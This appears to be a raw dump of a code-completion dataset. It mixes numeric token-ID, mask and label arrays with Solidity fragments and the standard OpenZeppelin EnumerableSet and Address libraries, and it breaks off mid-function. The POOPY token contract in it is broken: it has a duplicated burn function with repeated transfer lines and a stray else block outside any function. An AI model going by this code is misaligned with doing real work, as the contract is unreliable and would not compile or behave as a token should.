26,
25452,
71,
29,
31,
203,
565,
2874,
12,
2867,
516,
2254,
13,
1071,
1661,
764,
31,
203,
203,
565,
871,
1716,
685,
1125,
12,
2867,
8808,
3410,
16,
1758,
8808,
17571,
264,
16,
2254,
460,
1769,
203,
565,
871,
12279,
12,
2867,
8808,
628,
16,
1758,
8808,
358,
16,
2254,
460,
1769,
203,
203,
203,
565,
3885,
1435,
1071,
288,
203,
3639,
2254,
2687,
548,
31,
203,
3639,
19931,
288,
203,
5411,
2687,
548,
519,
2687,
350,
203,
3639,
289,
203,
3639,
27025,
67,
4550,
2
] |
./partial_match/3/0x6A2259419893d937D5402bd62830bE567f91B096/sources/POOPY.sol
|
standard ERC20 variables. the supply will not exceed 21,000 PYP owner of the contract events mappings
|
contract POOPY is Ownable {
using SafeMath for uint256;
string public constant name = "POOP Yearn Finance";
string public constant symbol = "PYP";
uint256 public constant decimals = 18;
uint256 private constant _maximumSupply = 21000 * 10 ** decimals;
uint256 private constant _maximumPresaleBurnAmount = 8000 * 10 ** decimals;
uint256 public _presaleBurnTotal = 0;
uint256 public _stakingBurnTotal = 0;
uint256 public _totalSupply;
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
mapping(address => uint256) public _balanceOf;
mapping(address => mapping(address => uint256)) public allowance;
constructor() public override {
_owner = msg.sender;
_totalSupply = _maximumSupply;
_balanceOf[msg.sender] = _maximumSupply;
emit Transfer(address(0x0), msg.sender, _maximumSupply);
}
function totalSupply () public view returns (uint256) {
return _totalSupply;
}
function balanceOf (address who) public view returns (uint256) {
return _balanceOf[who];
}
function _transfer(address _from, address _to, uint256 _value) internal {
_balanceOf[_from] = _balanceOf[_from].sub(_value);
_balanceOf[_to] = _balanceOf[_to].add(_value);
emit Transfer(_from, _to, _value);
}
function transfer(address _to, uint256 _value) public returns (bool success) {
require(_balanceOf[msg.sender] >= _value);
_transfer(msg.sender, _to, _value);
return true;
}
function burn (uint256 _burnAmount, bool _presaleBurn) public onlyOwner returns (bool success) {
if (_presaleBurn) {
require(_presaleBurnTotal.add(_burnAmount) <= _maximumPresaleBurnAmount);
require(_balanceOf[msg.sender] >= _burnAmount);
_presaleBurnTotal = _presaleBurnTotal.add(_burnAmount);
_transfer(_owner, address(0), _burnAmount);
_totalSupply = _totalSupply.sub(_burnAmount);
require(_balanceOf[msg.sender] >= _burnAmount);
_transfer(_owner, address(0), _burnAmount);
_totalSupply = _totalSupply.sub(_burnAmount);
}
return true;
}
function burn (uint256 _burnAmount, bool _presaleBurn) public onlyOwner returns (bool success) {
if (_presaleBurn) {
require(_presaleBurnTotal.add(_burnAmount) <= _maximumPresaleBurnAmount);
require(_balanceOf[msg.sender] >= _burnAmount);
_presaleBurnTotal = _presaleBurnTotal.add(_burnAmount);
_transfer(_owner, address(0), _burnAmount);
_totalSupply = _totalSupply.sub(_burnAmount);
require(_balanceOf[msg.sender] >= _burnAmount);
_transfer(_owner, address(0), _burnAmount);
_totalSupply = _totalSupply.sub(_burnAmount);
}
return true;
}
} else {
function approve(address _spender, uint256 _value) public returns (bool success) {
require(_spender != address(0));
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
require(_value <= _balanceOf[_from]);
require(_value <= allowance[_from][msg.sender]);
allowance[_from][msg.sender] = allowance[_from][msg.sender].sub(_value);
_transfer(_from, _to, _value);
return true;
}
}
| 5,174,737 |
[
1,
10005,
4232,
39,
3462,
3152,
18,
326,
14467,
903,
486,
9943,
9035,
16,
3784,
12191,
52,
3410,
434,
326,
6835,
2641,
7990,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
16351,
13803,
16505,
353,
14223,
6914,
288,
203,
225,
1450,
14060,
10477,
364,
2254,
5034,
31,
203,
203,
225,
533,
1071,
5381,
508,
273,
315,
2419,
3665,
1624,
73,
1303,
9458,
1359,
14432,
203,
225,
533,
1071,
5381,
3273,
273,
315,
16235,
52,
14432,
203,
225,
2254,
5034,
1071,
5381,
15105,
273,
6549,
31,
203,
225,
2254,
5034,
3238,
5381,
389,
15724,
3088,
1283,
273,
9035,
3784,
380,
1728,
2826,
15105,
31,
203,
225,
2254,
5034,
3238,
5381,
389,
15724,
12236,
5349,
38,
321,
6275,
273,
1725,
3784,
380,
1728,
2826,
15105,
31,
203,
225,
2254,
5034,
1071,
389,
12202,
5349,
38,
321,
5269,
273,
374,
31,
203,
225,
2254,
5034,
1071,
389,
334,
6159,
38,
321,
5269,
273,
374,
31,
203,
225,
2254,
5034,
1071,
389,
4963,
3088,
1283,
31,
203,
203,
225,
871,
12279,
12,
2867,
8808,
628,
16,
1758,
8808,
358,
16,
2254,
5034,
460,
1769,
203,
225,
871,
1716,
685,
1125,
12,
2867,
8808,
3410,
16,
1758,
8808,
17571,
264,
16,
2254,
5034,
460,
1769,
203,
203,
225,
2874,
12,
2867,
516,
2254,
5034,
13,
1071,
389,
12296,
951,
31,
203,
225,
2874,
12,
2867,
516,
2874,
12,
2867,
516,
2254,
5034,
3719,
1071,
1699,
1359,
31,
203,
203,
225,
3885,
1435,
1071,
3849,
288,
203,
565,
389,
8443,
273,
1234,
18,
15330,
31,
203,
565,
389,
4963,
3088,
1283,
273,
389,
15724,
3088,
1283,
31,
203,
565,
389,
12296,
951,
63,
3576,
18,
15330,
65,
273,
389,
15724,
3088,
1283,
31,
203,
565,
3626,
12279,
12,
2867,
12,
20,
2
] |
./full_match/137/0xb8cece5AE3E408149EcD3037FF8F6939C0E77B2F/sources/contracts/PoolPartyAaveMinion.sol
|
proposalID => loan repayments
|
mapping(uint256 => LoanRepayment) public loanRepayments;
| 3,746,787 |
[
1,
685,
8016,
734,
516,
28183,
2071,
528,
1346,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
565,
2874,
12,
11890,
5034,
516,
3176,
304,
426,
9261,
13,
1071,
28183,
426,
10239,
1346,
31,
225,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
./full_match/80001/0xBcDaD1016B894A5bEBfAf6118A484E35ccf3F25e/sources/contracts/Contract.sol
|
Set this token's .staker to be address 0 to mark it as no longer staked
|
stakers[msg.sender].stakedTokensSFO[index].staker = address(0);
| 871,933 |
[
1,
694,
333,
1147,
1807,
263,
334,
6388,
358,
506,
1758,
374,
358,
2267,
518,
487,
1158,
7144,
384,
9477,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
3639,
384,
581,
414,
63,
3576,
18,
15330,
8009,
334,
9477,
5157,
55,
3313,
63,
1615,
8009,
334,
6388,
273,
1758,
12,
20,
1769,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
./full_match/3/0x476B71b368E7f7E5B0fe2b64707BF687dfD5e94b/sources/browser/son.sol
|
does the guest accept to attend to the ceremony
|
bool _attendance;
| 8,118,216 |
[
1,
20657,
326,
13051,
2791,
358,
2403,
409,
358,
326,
276,
264,
4758,
93,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
5411,
1426,
389,
4558,
409,
1359,
31,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
// Sources flattened with hardhat v2.6.8 https://hardhat.org
// File @openzeppelin/contracts/utils/[email protected]
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
/**
* @dev Library for managing
* https://en.wikipedia.org/wiki/Set_(abstract_data_type)[sets] of primitive
* types.
*
* Sets have the following properties:
*
* - Elements are added, removed, and checked for existence in constant time
* (O(1)).
* - Elements are enumerated in O(n). No guarantees are made on the ordering.
*
* ```
* contract Example {
* // Add the library methods
* using EnumerableSet for EnumerableSet.AddressSet;
*
* // Declare a set state variable
* EnumerableSet.AddressSet private mySet;
* }
* ```
*
* As of v3.3.0, sets of type `bytes32` (`Bytes32Set`), `address` (`AddressSet`)
* and `uint256` (`UintSet`) are supported.
*/
library EnumerableSet {
// To implement this library for multiple types with as little code
// repetition as possible, we write it in terms of a generic Set type with
// bytes32 values.
// The Set implementation uses private functions, and user-facing
// implementations (such as AddressSet) are just wrappers around the
// underlying Set.
// This means that we can only create new EnumerableSets for types that fit
// in bytes32.
struct Set {
// Storage of set values
bytes32[] _values;
// Position of the value in the `values` array, plus 1 because index 0
// means a value is not in the set.
mapping (bytes32 => uint256) _indexes;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function _add(Set storage set, bytes32 value) private returns (bool) {
if (!_contains(set, value)) {
set._values.push(value);
// The value is stored at length-1, but we add 1 to all indexes
// and use 0 as a sentinel value
set._indexes[value] = set._values.length;
return true;
} else {
return false;
}
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function _remove(Set storage set, bytes32 value) private returns (bool) {
// We read and store the value's index to prevent multiple reads from the same storage slot
uint256 valueIndex = set._indexes[value];
if (valueIndex != 0) { // Equivalent to contains(set, value)
// To delete an element from the _values array in O(1), we swap the element to delete with the last one in
// the array, and then remove the last element (sometimes called as 'swap and pop').
// This modifies the order of the array, as noted in {at}.
uint256 toDeleteIndex = valueIndex - 1;
uint256 lastIndex = set._values.length - 1;
// When the value to delete is the last one, the swap operation is unnecessary. However, since this occurs
// so rarely, we still do the swap anyway to avoid the gas cost of adding an 'if' statement.
bytes32 lastvalue = set._values[lastIndex];
// Move the last value to the index where the value to delete is
set._values[toDeleteIndex] = lastvalue;
// Update the index for the moved value
set._indexes[lastvalue] = toDeleteIndex + 1; // All indexes are 1-based
// Delete the slot where the moved value was stored
set._values.pop();
// Delete the index for the deleted slot
delete set._indexes[value];
return true;
} else {
return false;
}
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function _contains(Set storage set, bytes32 value) private view returns (bool) {
return set._indexes[value] != 0;
}
/**
* @dev Returns the number of values on the set. O(1).
*/
function _length(Set storage set) private view returns (uint256) {
return set._values.length;
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function _at(Set storage set, uint256 index) private view returns (bytes32) {
require(set._values.length > index, "EnumerableSet: index out of bounds");
return set._values[index];
}
// Bytes32Set
struct Bytes32Set {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(Bytes32Set storage set, bytes32 value) internal returns (bool) {
return _add(set._inner, value);
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(Bytes32Set storage set, bytes32 value) internal returns (bool) {
return _remove(set._inner, value);
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(Bytes32Set storage set, bytes32 value) internal view returns (bool) {
return _contains(set._inner, value);
}
/**
* @dev Returns the number of values in the set. O(1).
*/
function length(Bytes32Set storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(Bytes32Set storage set, uint256 index) internal view returns (bytes32) {
return _at(set._inner, index);
}
// AddressSet
struct AddressSet {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(AddressSet storage set, address value) internal returns (bool) {
return _add(set._inner, bytes32(uint256(uint160(value))));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(AddressSet storage set, address value) internal returns (bool) {
return _remove(set._inner, bytes32(uint256(uint160(value))));
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(AddressSet storage set, address value) internal view returns (bool) {
return _contains(set._inner, bytes32(uint256(uint160(value))));
}
/**
* @dev Returns the number of values in the set. O(1).
*/
function length(AddressSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(AddressSet storage set, uint256 index) internal view returns (address) {
return address(uint160(uint256(_at(set._inner, index))));
}
// UintSet
struct UintSet {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(UintSet storage set, uint256 value) internal returns (bool) {
return _add(set._inner, bytes32(value));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(UintSet storage set, uint256 value) internal returns (bool) {
return _remove(set._inner, bytes32(value));
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(UintSet storage set, uint256 value) internal view returns (bool) {
return _contains(set._inner, bytes32(value));
}
/**
* @dev Returns the number of values on the set. O(1).
*/
function length(UintSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(UintSet storage set, uint256 index) internal view returns (uint256) {
return uint256(_at(set._inner, index));
}
}
// File @openzeppelin/contracts/utils/[email protected]
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.2 <0.8.0;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
